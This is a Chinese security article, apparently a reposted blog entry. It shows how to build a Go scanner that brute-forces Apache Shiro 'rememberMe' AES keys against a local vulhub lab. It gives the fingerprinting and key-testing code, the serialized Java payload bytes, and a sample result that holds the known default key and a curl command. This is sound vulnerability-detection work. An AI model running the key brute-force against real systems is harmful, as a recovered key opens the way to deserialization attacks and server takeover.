Apache-Shiro可用key检测
2023-5-3 00:16:51 Author: 白帽子(查看原文) 阅读量:29 收藏

STATEMENT

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

前言

由于目前的nuclei无法对payload进行复杂的加密操作,虽然nuclei官方正在推进能使用高级脚本编写验证漏洞,但是目前看来离合并还是遥遥无期,所以对于爆破apache-shiro的key这种复杂的请求需要单独开发工具检查。

检测原理

1、参考一种另类的 shiro 检测方式,简单来说就是:key正确情况下响应报文中的set-cookie不返回 deleteMe ,key错误情况下响应报文中的set-cookie返回 deleteMe

2、所以逻辑应该是在发送请求头带上下面信息,响应报文中有响应中的set-cookie返回 deleteMe的前提先下做判断的,避免不是apache-shiro的组件也识别到有漏洞存在。

"Cookie":"rememberMe=admin;rememberMe-K=admin""Content-Type":"text/xml"

3、在确保是apache-shiro组件后,再根据各个key加密生成的设置到cookie中rememberMe值上,再次请求,如果响应报文中的set-cookie不返回 deleteMe,说明漏洞存在。

环境搭建

1、直接使用vulhub中的漏洞环境即可

docker run --rm -p 8080:8080 vulhub/shiro:1.2.4

2、打开http://127.0.0.1:8080,即可看到登录界面

代码编写

判断是否为apache-shiro组件

虽然前面会先给目标做指纹识别操作,但是可能会存在由关键词识别的误报,所以在验证可用Key之前要先判断是否是apache-shiro,防止目标不是一个apache-shiro组件,就算带上加密后的cookie请求也是没有返回deleteMe,这样就会误报可用的key。

// 检查是POST还是GETfunc CheckIsShiroMethod(host string) string {  hh := Base.NewHttpClient()  header := make(map[string]string, 0)  header["Content-Type"] = "text/xml"  header["Cookie"] = "rememberMe=admin;rememberMe-K=admin"  for _, m := range []string{"POST", "GET"} {    resp, err := hh.SendRequest(m, host, nil, header, nil)    if err != nil {      return ""    }    if resp != nil {      resp.Body.Close()    }    if strings.Contains(resp.Header.Get("Set-Cookie"), "=deleteMe") {      return m    }  }  return ""}

在真实环境中有遇到POST请求或者GET请求才会返回rememberMe关键字,所以上面的代码在识别目标的同时还返回请求方式,在后面爆破Key的时候就只用这个请求方式。

cookie中rememberMe的生成

shiro_simple_principal_collection可以从apache-shiro的开源利用工具中生成再扣下来,这里我使用我写的ysoserial_rs生成的序列化数据。

➜  ~ ./ysoserial_amd64 -p shiro_spc -f hex                                           aced0005737200326f72672e6170616368652e736869726f2e7375626a6563742e53696d706c655072696e636970616c436f6c6c656374696f6ea87f5825c6a3084a0300014c000f7265616c6d5072696e636970616c7374000f4c6a6176612f7574696c2f4d61703b78707077010078

十六进制转go的byte数组写为常量就可以了。

shiro_spc = []byte{0xac, 0xed, 0x0, 0x5, 0x73, 0x72, 0x0, 0x32, 0x6f, 0x72, 0x67, 0x2e, 0x61, 0x70, 0x61, 0x63, 0x68, 0x65, 0x2e, 0x73, 0x68, 0x69, 0x72, 0x6f, 0x2e, 0x73, 0x75, 0x62, 0x6a, 0x65, 0x63, 0x74, 0x2e, 0x53, 0x69, 0x6d, 0x70, 0x6c, 0x65, 0x50, 0x72, 0x69, 0x6e, 0x63, 0x69, 0x70, 0x61, 0x6c, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0xa8, 0x7f, 0x58, 0x25, 0xc6, 0xa3, 0x8, 0x4a, 0x3, 0x0, 0x1, 0x4c, 0x0, 0xf, 0x72, 0x65, 0x61, 0x6c, 0x6d, 0x50, 0x72, 0x69, 0x6e, 0x63, 0x69, 0x70, 0x61, 0x6c, 0x73, 0x74, 0x0, 0xf, 0x4c, 0x6a, 0x61, 0x76, 0x61, 0x2f, 0x75, 0x74, 0x69, 0x6c, 0x2f, 0x4d, 0x61, 0x70, 0x3b, 0x78, 0x70, 0x70, 0x77, 0x1, 0x0, 0x78}

在加密时提供可选参数AES加密模式,CBC或者GCM。

for _, m := range []string{"CBC", "GCM"} {    for i := range payloads {      remember_me_coockie := RememberMe(payloads[i], m)      header := make(map[string]string, 0)      header["Content-Type"] = "text/xml"      header["Cookie"] = "rememberMe=" + remember_me_coockie      header["User-Agent"] = Base.DefaultUserAgent      resp, _ := h.SendRequest(method, host, nil, header, nil)      if resp != nil {        resp.Body.Close()      }      if !strings.Contains(resp.Header.Get("Set-Cookie"), "=deleteMe") {        meta := map[string]interface{}{"key": payloads[i], "mode": m}        Base.MakeNucleiResult(&ResultEvent, resp, meta)        return ResultEvent      }    }  }

将go的response转为nuclei的ResultEvent

首先自定义Info的信息,兼容nuclei数据结构。

ResultEvent := output.ResultEvent{    TemplateID:    "apache-shiro-key",    Type:          "http",    Timestamp:     time.Now(),    MatcherStatus: false,    Info: model.Info{Name: "ApacheShiro可用Key",      SeverityHolder: severity.Holder{Severity: severity.Critical},      Authors:        stringslice.StringSlice{Value: []string{"cn-kali-team"}},      Tags:           stringslice.StringSlice{Value: []string{"apache-shiro"}},      Reference:      stringslice.StringSlice{Value: []string{}},    },    Host: host,  }

meta信息,也就是爆破出来的key和加密模式添加到Metadata,这样就可以在nuclei的结果中获取结果并且展示。

package Base
import ( "net/http" "net/http/httputil"
"github.com/projectdiscovery/nuclei/v2/pkg/output" "moul.io/http2curl")
func MakeNucleiResult(ResultEvent *output.ResultEvent, resp *http.Response, meta map[string]interface{}) { command, _ := http2curl.GetCurlCommand(resp.Request) ResultEvent.CURLCommand = command.String() dump_request, _ := httputil.DumpRequest(resp.Request, true) dump_response, _ := httputil.DumpResponse(resp.Request.Response, true) ResultEvent.Request = string(dump_request) ResultEvent.Response = string(dump_response) ResultEvent.MatcherStatus = true ResultEvent.Metadata = meta ResultEvent.Matched = resp.Request.URL.String() ResultEvent.Lines = []int{} ResultEvent.IP = resp.Request.URL.Hostname()}

结果要转为json的话,漏洞等级这里需要用到自定义序列化,所以要使用jsoniter这个库实现,最后得到的json为:

{    "template-id": "apache-shiro-key",    "info": {        "name": "ApacheShiro可用Key",        "author": [            "cn-kali-team"        ],        "tags": [            "apache-shiro"        ],        "reference": [],        "severity": "critical"    },    "type": "http",    "host": "http://127.0.0.1:8080",    "matched-at": "http://127.0.0.1:8080/login;jsessionid=96DB54118C3AD9AE431629A46DB4291F",    "request": "GET /login;jsessionid=96DB54118C3AD9AE431629A46DB4291F HTTP/0.0\r\nHost: 127.0.0.1:8080\r\nContent-Type: text/xml\r\nCookie: rememberMe=ztWoBlfxzv6vbA8ItcE4qpxrz3t8pCmarvebhauhXyxcLurOHoCCkM2TNfljEtxR3BmW3gL+OkwnvJjHCpS8S//FFQ2VcdiXbzKUGrOBHgpADIBDPQzjam34m9G40hOFkC995grt0wmTm5Lj6F5CqEmtA1/gJDL561R9cKhQVznUlwqyXTh/gZFSSTiJ6m/D\r\nReferer: http://127.0.0.1:8080\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36\r\n\r\n",    "response": "HTTP/1.1 302 \r\nConnection: close\r\nContent-Length: 0\r\nDate: Mon, 15 Aug 2022 09:57:11 GMT\r\nLocation: http://127.0.0.1:8080/login;jsessionid=96DB54118C3AD9AE431629A46DB4291F\r\nSet-Cookie: JSESSIONID=96DB54118C3AD9AE431629A46DB4291F; Path=/; HttpOnly\r\n\r\n",    "meta": {        "key": "kPH+bIxk5D2deZiIxcaaaA==",        "mode": "CBC"    },    "ip": "127.0.0.1",    "timestamp": "2022-08-15T17:57:11.598443866+08:00",    "curl-command": "curl -X 'GET' -H 'Content-Type: text/xml' -H 'Cookie: rememberMe=ztWoBlfxzv6vbA8ItcE4qpxrz3t8pCmarvebhauhXyxcLurOHoCCkM2TNfljEtxR3BmW3gL+OkwnvJjHCpS8S//FFQ2VcdiXbzKUGrOBHgpADIBDPQzjam34m9G40hOFkC995grt0wmTm5Lj6F5CqEmtA1/gJDL561R9cKhQVznUlwqyXTh/gZFSSTiJ6m/D' -H 'Referer: http://127.0.0.1:8080' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36' 'http://127.0.0.1:8080/login;jsessionid=96DB54118C3AD9AE431629A46DB4291F'",    "matcher-status": true,    "matched-line": []}

参考

https://github.com/emo-cat/ysoserial_rs

https://mp.weixin.qq.com/s/do88_4Td1CSeKLmFqhGCuQ

安恒信息

杭州亚运会网络安全服务官方合作伙伴

成都大运会网络信息安全类官方赞助商

武汉军运会、北京一带一路峰会

青岛上合峰会、上海进博会

厦门金砖峰会、G20杭州峰会

支撑单位北京奥运会等近百场国家级

重大活动网络安保支撑单位

END

长按识别二维码关注我们


文章来源: http://mp.weixin.qq.com/s?__biz=MzAwMDQwNTE5MA==&mid=2650246671&idx=1&sn=4fbd624e0ac0f1fdc79e1f9eec289923&chksm=82ea55a6b59ddcb0d58847df56ffb4066a2ccc67cf6b025175937aa1313e923660876453470b#rd
如有侵权请联系:admin#unsafe.sh